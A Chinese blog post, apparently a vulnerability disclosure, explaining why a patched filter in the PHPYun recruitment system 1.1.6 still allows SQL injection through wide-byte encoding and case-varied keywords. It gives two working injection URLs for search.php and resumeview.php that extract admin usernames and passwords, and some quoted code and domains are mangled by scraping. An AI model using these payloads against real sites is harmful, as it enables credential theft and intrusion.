昨天无意看到php100好像对php云系统出了安全补丁了,今天没事,下载下来1.1.6版的大概看一下,看一下是怎么补得。看了之后,发现在config/db_safety.php的过滤函数如下:
function common_htmlspecialchars($str) { $str = preg_replace(/&(?!#[0-9]+;)/s, &, $str); $str = str_replace(array(<, >, ",and,=,""), array(<, >, ",an d,"=","”"), $str); //比之前多过滤了和=
return $str; } foreach($_POST as $id=>$v){ $_POST[$id]=common_htmlspecialchars($v); } foreach($_GET as $id=>$v){ $_GET[$id]=common_htmlspecialchars($v); } foreach($_COOKIE as $id=>$v){ $_COOKIE[$id]=common_htmlspecialchars($v); }
程序员显然认为过滤了单引号,就没有办法了。我承认用单引号引起的变量,确实是需要单引号来闭合的,但是变通一下思维,需要单引号,我不一定要靠外部引入的,例如:
$sql = "select * from user where name= $name and pass=$pass"
这个sql 如果我想办法弄成 select * from user where name=縗 and pass= or 1=1-- sdf //用-- 注释掉最后的单引号,不是一样用or可以注入吗?
另外这个补丁用str_replace 过滤 and,但是如果我提交And或者aNd呢?
所以打了补丁的phpyun系统依然存在双字节编码注入 漏洞 ,不受gpc选项影响。
测试方法:
访问 HdhCmsTestabc测试数据/search.php?keyword=&provinceid=%df&cityid=%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20-&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7 或 HdhCmsTestabc测试数据/resumeview.php?uid = union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(0x40,0x23,username,0x7e,password,0x23,0x40),17 from phpyun_admin_user-- sd&e=%df 。
随便举了两个,有很多可利用的地方,另外商业版的貌似对所有int数据强制转换了,只是猜测,因为这两个地方演示站黑盒测试没问题(俺没有商业版代码)。
修复方案:
Ryat牛说防止注入的思想就是最大限度的估计好变量的类型,希望程序员多多思考。
仅供技术交流。
查看更多关于phpyun人才系统补丁之后的注入和修复 - 网站安全的详细内容...